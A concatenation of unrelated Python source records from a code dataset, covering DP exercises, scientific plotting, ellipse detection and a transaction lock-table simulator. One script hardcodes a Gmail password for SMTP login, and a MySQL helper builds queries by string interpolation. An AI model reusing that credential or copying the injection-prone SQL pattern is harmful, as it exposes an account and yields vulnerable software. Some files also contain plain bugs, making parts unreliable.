0, -prices[0]\n for i in range(1, n):\n # 第i天不持有股票\n # 两种可能\n # 1.第i-1天就不持有股票,那么显然dp[i][0] = dp[i-1][0]\n # 2.第i-1天持���股票,显然第i天卖出了第i-1天持有的股票,dp[i][0] = dp[i-1][1]+prices[i]\n # 所以dp[i][0]等于两种可能中的较大值\n\n # 下面注释的写法是leetcode-122的写法,除此之外,其他地方都和leetcode-122写法一模一样\n # dp[i][0] = max(dp[i - 1][0], dp[i - 1][1] + prices[i])\n dp[i][0] = max(dp[i - 1][0], dp[i - 1][1] + prices[i] - fee)\n # 第i天持有股票\n # 两种可能\n # 1.第i-1天就持有股票,那么显然dp[i][1] = dp[i-1][1]\n # 2.第i-1天不持有股票,那么显然第i天买入了股票,dp[i][1] = dp[i-1][0] - prices[i]\n # 所以dp[i][0]等于两种可能中的较大值\n dp[i][1] = max(dp[i - 1][1], dp[i - 1][0] - prices[i])\n # 最大利润显然就是第i-1天不持有股票\n return dp[n - 1][0]\n\n\n# 在上面解法的基础上优化空间复杂度\nclass Solution(object):\n def maxProfit(self, prices, fee):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if not prices:\n return 0\n n = len(prices)\n dp_i_0, dp_i_1 = 0, -prices[0]\n for i in range(1, n):\n # 每一个状态只和他的前一个状态有关\n temp = dp_i_0\n dp_i_0 = max(temp, dp_i_1 + prices[i] - fee)\n dp_i_1 = max(dp_i_1, temp - prices[i])\n return dp_i_0\n","sub_path":"题目分类/动态规划/best_time_to_buy_and_sell_stock_with_transaction_fee_714.py","file_name":"best_time_to_buy_and_sell_stock_with_transaction_fee_714.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332178542","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 04 2018\nLast modified 14-6-2019\n\nScript to convert SOBEK3 output to Panda DataFrames\nRun stand-alone to export the entire output folder to .csv files\n\n@author: Jurjen de Jong\n\"\"\"\n\nimport os\nimport glob\nimport pandas as pd\nimport netCDF4\nimport re\n\ndef nc2dicts(directory):\n '''\n This script will read all netcdf files in a SOBEK 3.6+ output\n directory and place this in Pandas DataFrames. Each .nc-file\n will get it's own DataFrame\n '''\n\n # get name of all nc file in the directory\n filelist = glob.glob(os.path.join(directory, '*.nc'))\n\n # open all data in the nc files\n datadict = {}\n for ncfile in filelist:\n df = read_nc(ncfile)\n if len(df):\n datadict[filename] = df\n\n return datadict\n\ndef read_nc(ncfile, return_attributes=True):\n ncfid = netCDF4.Dataset(ncfile)\n filename = os.path.splitext(os.path.basename(ncfile))[0]\n print('Opening file:', filename)\n\n time = ncfid.variables['time']\n time = netCDF4.num2date(time[:], time.units)\n # time = pd.DatetimeIndex(time) # This code crashed somehow\n # time = pd.date_range(time[0], time[1], periods=len(time)) # work around for crash\n # time = time.round('1 s')\n\n varnames = ncfid.variables\n key = [key for key in varnames.keys() if re.match('(.*)_id', key)]\n names = ncfid.variables[key[0]][:]\n names = [s.strip() for s in netCDF4.chartostring(names)]\n\n df = {}\n df_attributes = {}\n for v in ncfid.variables:\n var = ncfid.variables[v]\n if not v == 'time' and var.dimensions[0] == 'time':\n print('Reading:', v)\n data = var[:]\n df[v] = pd.DataFrame(data, index=time, columns=names)\n elif not v == 'time' and var.dimensions[0] == 'id' and return_attributes:\n data = var[:]\n if len(data.shape)>1:\n data = [d.strip() for d in netCDF4.chartostring(data)]\n df_attributes[v] = pd.Series(data=data, index=names)\n\n if len(df):\n df = pd.concat(df, axis=1)\n\n if return_attributes:\n if len(df_attributes):\n df_attributes = pd.concat(df_attributes, axis=1)\n return df, df_attributes\n else:\n return df\n\nif __name__ == '__main__':\n import tkinter as tk\n from tkinter import filedialog\n\n root = tk.Tk()\n root.withdraw()\n directory = filedialog.askdirectory()\n\n datadict = nc2dicts(directory)\n\n print('Writing output files' )\n for filename, df in datadict.items():\n for quantity in df.columns.levels[0]:\n df[quantity].to_csv(os.path.join(directory, '{}_{}.csv'.format(filename, quantity)))\n","sub_path":"klimaatbestendige_netwerken/externals/SOBEK_to_Pandas.py","file_name":"SOBEK_to_Pandas.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"218417305","text":"file = open(\"input\",\"r\")\n\ndef part1():\n\n length = 31 # Length of each line\n position = 0\n count = 0\n\n for line in file:\n if(position == 0): # Skip first line\n position += 3\n continue\n \n if(line[position%length] == \"#\"):\n count += 1\n \n position += 3\n\n print(count)\n\ndef part2():\n length = 31 # Length of each line\n lineNum = 0\n\n moveRight = [1,3,5,7,1] # Distance to move right for each slope\n positions = [0,0,0,0,0] # Current position for each slope\n counts = [0,0,0,0,0] # Current tree count for each slope\n\n for line in file:\n if(lineNum == 0): # Skip first line\n lineNum += 1 \n for i in range(5):\n positions[i] += moveRight[i]\n continue\n\n if(lineNum%2 != 0):\n positions[4] -= 1 \n\n for i in range(5):\n if(line[positions[i]%length]==\"#\" and (i!=4 or lineNum%2==0)):\n counts[i] += 1\n positions[i] += moveRight[i]\n \n lineNum += 1 \n\n print(counts[0]*counts[1]*counts[2]*counts[3]*counts[4])\n\n# part1()\npart2()\nfile.close()","sub_path":"day3/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400363587","text":"from app import app\nfrom app import _dbconnection\n\nclass DB:\n def __init__(self):\n self.mysql = _dbconnection\n\n def select(self, table, condition = '', columns = '*'):\n self.table = table\n self.condition = condition\n self.columns = columns\n\n if self.condition != '':\n self.condition = 'WHERE ' + self.condition\n\n with self.mysql.cursor() as cursor:\n self.query = f'SELECT {self.columns} FROM {self.table} {self.condition};'\n cursor.execute(self.query)\n data = cursor.fetchall()\n cursor.close()\n return data\n\n def insert(self, table, data):\n self.table = table\n self.data = data\n\n self.columns = ', '.join(self.data.keys())\n self.values = '\"' + '\", \"'.join(self.data.values()) + '\"'\n\n with self.mysql.cursor() as cursor:\n self.query = f'INSERT INTO {self.table}({self.columns}) VALUES({self.values});'\n cursor.execute(self.query)\n self.mysql.commit()\n cursor.close()\n\n def update(self, table, data, condition):\n self.table = table\n self.data = data\n self.condition = condition\n\n self.update = ''\n\n for key, value in self.data.items():\n self.update += key + '=\"' + value + '\", '\n\n self.update = self.update.strip(', ')\n\n with self.mysql.cursor() as cursor:\n self.query = f'UPDATE {self.table} SET {self.update} WHERE {self.condition};'\n cursor.execute(self.query)\n self.mysql.commit()\n cursor.close()\n def delete(self, table, condition):\n self.table = table\n self.condition = condition\n\n with self.mysql.cursor() as cursor:\n self.query = f'DELETE FROM {self.table} WHERE {self.condition};'\n cursor.execute(self.query)\n self.mysql.commit()\n cursor.close()\n","sub_path":"python/2019/vmaproject1/cores/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325815838","text":"import openpyxl, os, sys\r\n\r\ndef blankInsert(fileIn, fileOut, spaceStart, spaceHeight):\r\n old_wb = openpyxl.load_workbook(fileIn)\r\n old_sheet = old_wb.active\r\n\r\n new_wb = openpyxl.Workbook()\r\n new_sheet = new_wb.active\r\n\r\n max_column = old_sheet.max_column\r\n max_row = old_sheet.max_row\r\n\r\n for col in range(1, max_column+1):\r\n for height in range(1, max_row+1):\r\n if height < spaceStart:\r\n new_sheet.cell(column=col, row=height).value = old_sheet.cell(column=col, row=height).value\r\n else:\r\n new_sheet.cell(column=col, row=height+spaceHeight).value = old_sheet.cell(column=col, row=height).value\r\n\r\n new_wb.save(fileOut)\r\n\r\n#for test purposes\r\nos.chdir('C:\\\\Users\\\\Szymon\\\\Documents\\\\Python file\\\\pythonAttemptTwo\\\\arkusze')\r\n\r\nif len(sys.argv) < 4:\r\n n = 4\r\n m = 3\r\n In = 'test.xlsx'\r\n Out = 'blankRow.xlsx'\r\nelse:\r\n n = int(sys.argv[1])\r\n m = int(sys.argv[2])\r\n In = sys.argv[3]\r\n Out = sys.argv[4]\r\n\r\nblankInsert(In, Out, n, m)","sub_path":"Chapter 12/blankRowInserter.py","file_name":"blankRowInserter.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"3126726","text":"'''\n# This is an 80 character line #\n\nThis file:\n 1. Reads in data for diameter from textfiles\n 2. Computes the LJ force for given distances\n 3. Plots this data\n'''\n\n# Imports and loading the .gsd file\nimport sys\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport matplotlib.lines as mlines\n\n# Function that'll grab my parameters from the filenames\ndef getFromTxt(fname, first, last):\n '''Takes a string, text before and after desired text, outs text between'''\n start = fname.index( first ) + len( first )\n end = fname.index( last, start )\n myTxt = fname[start:end]\n return float(myTxt)\n\ndef ljForce(r):\n '''Takes distance gives force from Lennard-Jones potential'''\n forceLJ = 4 * epsilon * ((12 * (sigma ** 12) * (r ** -13)) - (6 * (sigma ** 12) * (r ** -7)))\n return forceLJ\n\nsigma = 1.0\n# The old model\nepsilon = 1.0\n\n# Grab the command line arguments\ntxtFiles = sys.argv[2:] # start at 2 to avoid early arguments\n\n# Parse out the activities and fractions from the filenames\npeA = np.zeros_like(txtFiles, dtype=np.int)\npeB = np.zeros_like(txtFiles, dtype=np.int)\nxA = np.zeros_like(txtFiles, dtype=np.float64)\nep = np.zeros_like(txtFiles, dtype=np.int)\n\ntry:\n for i in range(0, len(txtFiles)):\n peA[i] = getFromTxt(txtFiles[i], \"pa\", \"_pb\")\n peB[i] = getFromTxt(txtFiles[i], \"pb\", \"_xa\")\n xA[i] = getFromTxt(txtFiles[i], \"xa\", \"_ep\")\n ep[i] = getFromTxt(txtFiles[i], \"ep\", \".txt\")\nexcept:\n for i in range(0, len(txtFiles)):\n peA[i] = getFromTxt(txtFiles[i], \"pa\", \"_pb\")\n peB[i] = getFromTxt(txtFiles[i], \"pb\", \"_xa\")\n xA[i] = getFromTxt(txtFiles[i], \"xa\", \".txt\")\n ep[i] = 1\n\ntry:\n peR = peA.astype(float) / peB.astype(float) # Compute activity ratio\nexcept:\n peR = np.zeros(len(txtFiles))\n\n# Instantiate arrays I'd like to plot\nphaseSep = np.zeros(len(txtFiles), dtype=np.int)\nALL = np.zeros(len(txtFiles), dtype=np.float64)\nAA = np.zeros(len(txtFiles), dtype=np.float64)\nAB = np.zeros(len(txtFiles), dtype=np.float64)\nBB = np.zeros(len(txtFiles), dtype=np.float64)\nphiAvg = np.zeros(len(txtFiles), dtype=np.float64)\n\n# Loop through each data series\nfor i in range(0, len(txtFiles)):\n\n # Import data into arrays\n tst, \\\n gasA, \\\n gasB, \\\n gasTot, \\\n denA, \\\n denB, \\\n denTot, \\\n lgClust, \\\n MCS, \\\n sigALL, \\\n sigAA, \\\n sigAB, \\\n sigBB, \\\n phiEff, \\\n lC_Area, \\\n totC_Area, \\\n lC_density, \\\n denDen, \\\n gasDen = np.loadtxt(txtFiles[i], skiprows=1, unpack=True)\n\n # Requirement to be consider phase separated\n partNum = gasTot[0] # everything starts in a gas\n frames = len(tst)\n sizeMin = partNum * 0.25 # 40% of particles in single cluster\n timeMin = frames * 0.50 # cluster present for half of all frames\n\n count = 0\n\n # Get last 10% of simulation\n numAvg = (0.10 * len(lgClust))\n avgTime = len(lgClust) - numAvg\n\n for j in range(0, len(lgClust)):\n # Average over last\n if j >= avgTime:\n ALL[i] += sigALL[j]\n AA[i] += sigAA[j]\n AB[i] += sigAB[j]\n BB[i] += sigBB[j]\n phiAvg[i] += phiEff[j]\n if lgClust[j] >= sizeMin:\n count += 1\n\n # Average diameter values\n ALL[i] /= numAvg\n AA[i] /= numAvg\n AB[i] /= numAvg\n BB[i] /= numAvg\n phiAvg[i] /= numAvg\n\n if count >= timeMin:\n phaseSep = 1\n\n# Now everything is in an array, sort them (for lines)\nfor i in range(0, len(txtFiles)):\n for j in range(0, len(txtFiles)):\n # Values need to be swapped\n if peA[i] > peA[j] and i < j:\n # Swap A activity\n tmp = peA[j]\n peA[j] = peA[i]\n peA[i] = tmp\n # Swap total diameter\n tmp = ALL[j]\n ALL[j] = ALL[i]\n ALL[i] = tmp\n # Swap AA diameter\n tmp = AA[j]\n AA[j] = AA[i]\n AA[i] = tmp\n # Swap AB diameter\n tmp = AB[j]\n AB[j] = AB[i]\n AB[i] = tmp\n # Swap BB diameter\n tmp = BB[j]\n BB[j] = BB[i]\n BB[i] = tmp\n # Swap phi\n tmp = phiAvg[j]\n phiAvg[j] = phiAvg[i]\n phiAvg[i] = tmp\n\n# Plot the data\nplt.plot(peA, ALL, marker='o', c='k', label='Emergent Diameter')\n\n# Get theory on fine r-scale\nys = np.arange(min(ALL), max(ALL), 0.001)\nxs = np.zeros_like(ys)\nfor i in range(0, len(xs)):\n xs[i] = ljForce(ys[i])\n\n# Plot theory\nplt.plot(xs, ys, c='g', label=r'$Pe=F_{LJ}$')\nplt.plot(0.5 * xs, ys, c='r', label=r'$2Pe=F_{LJ}$')\nplt.plot(0.3 * xs, ys, c='b', label=r'$3Pe=F_{LJ}$')\n\n# Axes limits\nplt.xlim(min(peA), max(peA))\nplt.ylim(min(ALL), max(ALL))\n# Labels\nplt.xlabel(r'Activity $(Pe)$')\nplt.ylabel(r'Center-to-center Distance $(\\sigma_{Eff}$)')\n# Get information for legend\nplt.legend()\n# Plot :)\nplt.savefig('data_LJ_overlay_monodisperse.png', bbox_inches='tight', dpi=1000)\nplt.close()\n\n# # This is an example that works for using multiple axes\n# # Instantiate figure\n# fig = plt.figure()\n# ax1 = fig.add_subplot(111)\n# ax2 = ax1.twiny()\n# fig.subplots_adjust(bottom=0.2)\n#\n# # Plot the data\n# data = ax1.plot(peA, ALL, c='k', label='Emergent Diameter')\n#\n# # Get theory on fine r-scale\n# ys = np.arange(min(ALL), max(ALL), 0.001)\n# xs = np.zeros_like(ys)\n# for i in range(0, len(xs)):\n# xs[i] = ljForce(ys[i])\n#\n# # Plot theory\n# first = ax1.plot(xs, ys, c='g', label=r'$Pe=F_{LJ}$')\n# second = ax2.plot(xs, ys, c='r', label=r'$2Pe=F_{LJ}$')\n# third = ax1.plot(0.45 * xs, ys, c='b', label=r'$Pe2=F_{LJ}$')\n#\n# # Additional plot restrictions\n#\n# # Axes limits\n# ax1.set_xlim(min(peA), max(peA))\n# ax2.set_xlim(2 * min(peA), 2 * max(peA))\n# plt.ylim(min(ALL), max(ALL))\n# # Labels\n# ax1.set_xlabel(r'Activity $(Pe)$')\n# ax2.set_xlabel(r'Twice Activity $(2Pe)$')\n# plt.ylabel(r'Center-to-center Distance $(\\sigma_{Eff}$)')\n# # Move second axis to bottom\n# ax2.xaxis.set_ticks_position(\"bottom\")\n# ax2.xaxis.set_label_position(\"bottom\")\n# ax2.spines[\"bottom\"].set_position((\"axes\", -0.15))\n# # Get information for legend\n# lns = data + first + second + third\n# labs = [l.get_label() for l in lns]\n# plt.legend(lns, labs)\n# # Plot :)\n# plt.show()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"phase_diagrammer/lennard-jones_diameter_overlay_mono.py","file_name":"lennard-jones_diameter_overlay_mono.py","file_ext":"py","file_size_in_byte":6319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"340990433","text":"# coding: utf-8\r\n\r\n# In[3]:\r\n\r\n\r\nimport matplotlib.backends.backend_pdf\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nimport warnings\r\n\r\nwarnings.simplefilter(\"ignore\") #not print matching warnings\r\nimport smtplib #to send mail to any internet machine (client session object)\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.base import MIMEBase\r\nfrom email import encoders\r\n\r\n\r\ndef pdff(g): #saving plots to pdf file using matplotlib\r\n fig = plt.figure()\r\n matplotlib.pyplot.title(\"Doctor's Prescription For : %s\" % (g.Name.iloc[0]), loc='center', color='r', fontsize=14,\r\n fontweight='bold')\r\n ax = fig.add_subplot(111)\r\n text = []\r\n for row in range(len(g)):\r\n text.append(g.iloc[row])\r\n ax.table(cellText=text, colLabels=g.columns, loc='center')\r\n ax.axis('off')\r\n\r\n pdf = matplotlib.backends.backend_pdf.PdfPages(\"Your_prescription.pdf\")\r\n pdf.savefig(fig)\r\n pdf.close()\r\n\r\n\r\ndef em():# sending the file via email\r\n fromaddr = \"agarwalpriyanshi27@gmail.com\"\r\n toaddr = \"agarwalpriyanshi27@gmail.com\"\r\n\r\n msg = MIMEMultipart() #multipurpose internet mail extensions\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"REPORT\"\r\n body = \"PFA\"\r\n msg.attach(MIMEText(body, 'plain'))\r\n\r\n filename = \"Your_prescription.pdf\"\r\n attachment = open(\"C:/Users/priya agarwal/Your_prescription.pdf\", \"rb\")\r\n\r\n p = MIMEBase('application', 'octet-stream')\r\n p.set_payload((attachment).read())\r\n encoders.encode_base64(p)\r\n p.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\r\n msg.attach(p)\r\n\r\n s = smtplib.SMTP('smtp.gmail.com', 587)\r\n s.starttls()\r\n s.login(fromaddr, \"taarey01\")\r\n text = msg.as_string()\r\n s.sendmail(fromaddr, toaddr, text)\r\n s.quit()\r\n\r\n\r\nd = {'Name': [], 'Age': [], 'Gender': [], 'Disease': [], 'Prescription': [], 'Test': []}\r\ndf = pd.DataFrame(columns=d)\r\nd1 = {1: 'Name', 2: 'Age', 3: 'Gender', 4: 'Disease', 5: 'Prescription', 6: 'Test'}\r\ndf1 = df.copy()\r\n\r\nNo_of_patients = 1\r\nc = 0\r\nwhile (True):\r\n if c == No_of_patients:\r\n break\r\n print()\r\n print('Patient No :', c)\r\n print()\r\n import speech_recognition as sr\r\n\r\n r = sr.Recognizer()\r\n for i in range(1, 7):\r\n with sr.Microphone() as source:\r\n print(d1[i], end=':')\r\n r.adjust_for_ambient_noise(source, duration=0.5)\r\n audio = r.listen(source, 3, 3)\r\n try:\r\n text = r.recognize_google(audio)\r\n df[d1[i]] = [text]\r\n print(text)\r\n\r\n except Exception as e:\r\n print('Didn\\'t recognize what you said')\r\n df1 = pd.concat([df1, df])\r\n pdff(df)\r\n em()\r\n df.drop([0], axis=0, inplace=True)\r\n c = c + 1\r\n\r\ndf1.to_csv('Records.csv', index=False)#Write DataFrame to a comma-separated values (csv) file\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"415698150","text":"#import exceptions\n\nfrom ellipse_detection.segment_detector import SegmentDetector\nfrom ellipse_detection.ellipse_candidate_maker import EllipseCandidateMaker\nfrom ellipse_detection.ellipse_estimator import EllipseEstimator\nfrom ellipse_detection.ellipse_merger import EllipseMerger\n\nimport cv2\n\nclass EllipseDetector(object):\n def __init__(self):\n pass\n\n def detect(self, image, debug_image=None):\n \"\"\"Detect ellipse from image.\n\n Args:\n image: A numpy as array indicats gray scale image.\n\n Returns:\n Array of Ellipse instance that was detected from image.\n \"\"\"\n\n if len(image.shape) != 2:\n raise exceptions.RuntimeException()\n\n seg_detector = SegmentDetector()\n segments = seg_detector.detect(image)\n\n if(debug_image is not None):\n image_segments = debug_image.copy()\n for segmentDir in segments:\n for segment in segmentDir:\n segment.draw(image_segments)\n \n cv2.imshow('segments', image_segments)\n cv2.waitKey(0)\n\n\n ellipse_cand_maker = EllipseCandidateMaker()\n ellipse_cands = ellipse_cand_maker.make(segments, debug_image)\n\n ellipse_estimator = EllipseEstimator()\n ellipses = ellipse_estimator.estimate(ellipse_cands)\n\n ellipse_merger = EllipseMerger(image.shape[1], image.shape[0])\n ellipses = ellipse_merger.merge(ellipses)\n\n return ellipses\n","sub_path":"ellipse_detection/ellipse_detector.py","file_name":"ellipse_detector.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"607070657","text":"from tkinter import*\r\nfrom tkinter import ttk\r\nfrom PIL import Image, ImageTk\r\nfrom tkinter import messagebox\r\nimport mysql.connector\r\nimport cv2\r\nimport os\r\n\r\n\r\nclass Help:\r\n def __init__(self,root):\r\n self.root=root\r\n self.root.geometry(\"1250x650+0+0\")\r\n self.root.title(\"Face Recognition System\")\r\n\r\n title_lbl = Label(self.root, text=\"HELP DESK\", font=(\"times new roman\", 30, \"bold\"), bg=\"white\", fg=\"blue\")\r\n title_lbl.place(x=0, y=0, width=1300, height=45)\r\n\r\n img_top = Image.open(r\"C:\\Users\\HP\\Desktop\\face recognition system\\images\\37.jpg\")\r\n img_top = img_top.resize((1250, 610), Image.ANTIALIAS)\r\n self.photoimg_top = ImageTk.PhotoImage(img_top)\r\n\r\n f_lb = Label(self.root, image=self.photoimg_top)\r\n f_lb.place(x=0, y=45, width=1250, height=610)\r\n\r\n dev_lbl = Label(f_lb, text=\"Email : tejsand4@gmail.com\", font=(\"times new roman\", 20, \"bold\"), bg=\"black\",fg=\"white\")\r\n dev_lbl.place(x=500, y=200, width=350, height=40)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n root=Tk()\r\n obj=Help(root)\r\n root.mainloop()","sub_path":"help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"5600005","text":"import sys\r\n\r\nALPHABET = 'abcdefghijklmnopqrstuvwxyz'\r\n\r\nRotation = 6\r\n\r\nmensagem = \"ol znk lgizy ju tuz loz znk znkuxe, ingtmk znk lgizy. grhkxz kotyzkot\"\r\n\r\ndef cipher(msg, Rot):\r\n\tm = ''\r\n\r\n\tfor n in msg:\r\n\t\tif n in ALPHABET:\r\n\t\t\tn_index = ALPHABET.index(n)\r\n\t\t\tm += ALPHABET[(n_index - Rot)%len(ALPHABET)]\r\n\t\telse:\r\n\t\t\tm += n\r\n\treturn m\r\n\r\ndescrypt = cipher(mensagem, Rotation)\r\n\r\nprint(descrypt)\r\n\r\n\r\n","sub_path":"cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589114930","text":"import os\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nimport numpy as np\n\ndef loadData(path):\n\tpathx = path + \"/datax\"\n\tpathy = path + \"/datay\"\n\tfiles = os.listdir(pathx)\n\twhile 1:\n\t\tfor file in files:\n\t\t\tif not os.path.isdir(file):\n\t\t\t\tdatax = np.load(pathx + \"/\" + file)\n\t\t\t\tdatay = np.load(pathy + \"/\" + file)\n\t\t\t\tyield datax['dx'], datay['dy']\n\npath = \"sampleData\"\n\nseed = 7\nnp.random.seed(seed)\n\nmodel = Sequential()\nmodel.add(Convolution2D(64, 5, 5, border_mode='same', input_shape=(7, 19, 19), dim_ordering='th'))\nmodel.add(Activation('relu'))\nmodel.add(Convolution2D(32, 3, 3, border_mode='same'))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2), border_mode='same'))\nmodel.add(Flatten())\nmodel.add(Dense(361, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy'])\n\nmodel.fit_generator(loadData(path), samples_per_epoch=4096, nb_epoch=5)\n\nmodel.save_weights('model/weights.hd5', overwrite=True)\n\nwith open('model/model.yml', 'w') as yml:\n model_yaml = model.to_yaml()\n yml.write(model_yaml)\n","sub_path":"gotest.py","file_name":"gotest.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212776931","text":"\"\"\"\nModule contains test for the angle function\nthat calculates angles between given vectors.\n\"\"\"\nfrom numpy import (\n array,\n ndarray,\n pi,\n)\nfrom numpy.testing import assert_allclose\n\nfrom pytest import mark\n\nfrom rc.core import angle\n\n\n@mark.parametrize(\n \"origin, points, clockwise, target_angles, target_distances\",\n [\n [\n array([0, 0], dtype=\"float\"),\n array([[1, 0], [0, 1]]),\n False,\n array([0, pi / 2]),\n array([1, 1]),\n ],\n ],\n)\ndef test_angle(\n origin: ndarray,\n points: ndarray,\n clockwise: bool,\n target_angles: ndarray,\n target_distances: ndarray,\n) -> None:\n \"\"\"\n Test that angle function returns correct angles.\n \"\"\"\n actual_angles, actual_distances = angle(\n origin=origin,\n points=points,\n clockwise=clockwise,\n )\n assert_allclose(actual=actual_angles, desired=target_angles)\n assert_allclose(actual=actual_distances, desired=target_distances)\n","sub_path":"tests/core/test_angle.py","file_name":"test_angle.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"336834007","text":"import re\r\n\r\ntransactions = [] #List for storing all Transaction Elemenst\r\noutput_file = open(\"output1.txt\", 'w')\r\nwith open('input1.txt','r') as fp: #reading the input file\r\n for line in fp.readlines():\r\n \r\n transactions.append(line)\r\n transactions = [tr.split(';')[0] for tr in transactions]\r\n \r\nprint(transactions)\r\n\r\n\r\nTransaction_table=[] #Transaction table as list\r\nlock_table=[] #lock_table as list\r\ntimestamp=1\r\n\r\ndef begin_transaction(tr): #when a it enounter begin Transaction 'b',this function will be called.\r\n global timestamp\r\n contents=[(tr[1]),timestamp,'active',[None],[]] #storing each Transaction the list\r\n timestamp=timestamp+1\r\n Transaction_table.append(contents) #appending list to the Transaction table\r\n print(\"Begin transaction: T\"+str(tr[1]))\r\n output_file.write(\"Begin transaction: T\"+str(tr[1]))\r\n output_file.write('\\n')\r\n\r\n \r\ndef read_transaction(tr):\r\n # Data_item - data item to be read\r\n # Tansaction_id - transaction id of the transaction performing the read operation\r\n global Transaction_table\r\n global lock_table\r\n index_tr=0 #index for Transaction_table\r\n index_lt=0 #index for Lock_table\r\n item_found=0\r\n timestamp1=0\r\n timestamp2=0\r\n transaction_found=0\r\n Transaction_id=str(tr[1])\r\n Data_item=tr.split('(')[1][0]\r\n # print(Transaction_id)\r\n for i in range(len(Transaction_table)):\r\n #checking the status of requesting Transaction if it is blocked,append to the waitlisting for execution.\r\n if((Transaction_table[i][0]==Transaction_id) and (Transaction_table[i][2]=='Blocked')):\r\n Transaction_table[i][4].append(tr)\r\n #checking the status ,if Transaction is active then perform the Read request based on certain conditions. \r\n if((Transaction_table[i][0]==Transaction_id) and (Transaction_table[i][2]=='active')):\r\n transaction_found=1\r\n index_tr=i\r\n \r\n if len(lock_table)==0: #if no data_items present in the Lock_table\r\n contentslock=[Data_item,tr[0],[tr[1]]] \r\n lock_table.append(contentslock) #append the data_items to the lock_table\r\n print(\"ITEM \"+str(Data_item)+\" is read locked by T\"+str(tr[1]))\r\n output_file.write(\"ITEM \"+str(Data_item)+\" is read locked by T\"+str(tr[1]))\r\n output_file.write('\\n')\r\n else:\r\n for i in range(len(lock_table)):#if Data_item present \r\n if lock_table[i][0]==Data_item:\r\n item_found=1 \r\n index_lt=i\r\n #if requesting Data_item is in 'Readmode' already locked by different Transaction,append to the list requesting Read\r\n if lock_table[index_lt][1]=='r' and Transaction_id not in lock_table[index_lt][2]:\r\n lock_table[index_lt][2].append(tr[1])\r\n print(\"T\"+str(tr[1])+\" is added to the read lock list of Data item \"+str(Data_item))\r\n output_file.write(\"T\"+str(tr[1])+\" is added to the read lock list of Data item \"+str(Data_item))\r\n output_file.write('\\n')\r\n #if the requesting data_item is in 'Readmode' and Same Transaction ID' \r\n elif lock_table[index_lt][1]=='r' and Transaction_id in lock_table[index_lt][2]:\r\n print(\"The Requesting Data item already Read locked.\")\r\n #if the requesting Data_item is 'writemode' locked by same Transaction ID' \r\n elif lock_table[index_lt][1]=='w' and Transaction_id in lock_table[index_lt][2]:\r\n print(\"The Requesting Data item is write locked by the Same Transaction\")\r\n #if the requesting Data_item is 'writemode' locked by differnt Transaction ID' \r\n #then wound wait protocol is implemented by comparing the timestamps of Transactions.\r\n elif lock_table[index_lt][1]=='w' and Transaction_id not in lock_table[index_lt][2]:#wound wait protocol\r\n t1=Transaction_table[index_tr][0]\r\n t2=lock_table[index_lt][2][0]\r\n for sublist in Transaction_table:\r\n if(sublist[0]==t1):\r\n timestamp1=sublist[1]\r\n if(sublist[0]==t2):\r\n timestamp2=sublist[1]\r\n\r\n if(timestamp1>timestamp2): # if requesting data_item has larger timestamp value,it is blocked.\r\n print(\"BLOCK T\"+str(t1)+\" as ITEM \"+str(Data_item)+\" is held by T\"+str(t2)+\" and T\"+str(t1)+\" is younger than T\"+str(t2))\r\n output_file.write(\"BLOCK T\"+str(t1)+\" as ITEM \"+str(Data_item)+\" is held by T\"+str(t2)+\" and T\"+str(t1)+\" is younger than T\"+str(t2))\r\n output_file.write('\\n')\r\n block_transaction(t1,t2,tr) \r\n elif(timestamp1timestamp2):#if requesting data_item has larger timestamp value,it is blocked. \r\n print(\"BLOCK T\"+str(t1)+\" as ITEM \"+str(Data_item)+\" is held by T\"+str(t2)+\" and T\"+str(t1)+\" is younger than T\"+str(t2))\r\n output_file.write(\"BLOCK T\"+str(t1)+\" as ITEM \"+str(Data_item)+\" is held by T\"+str(t2)+\" and T\"+str(t1)+\" is younger than T\"+str(t2))\r\n output_file.write('\\n') \r\n block_transaction(t1,t2,tr) \r\n elif(timestamp11):#if two many 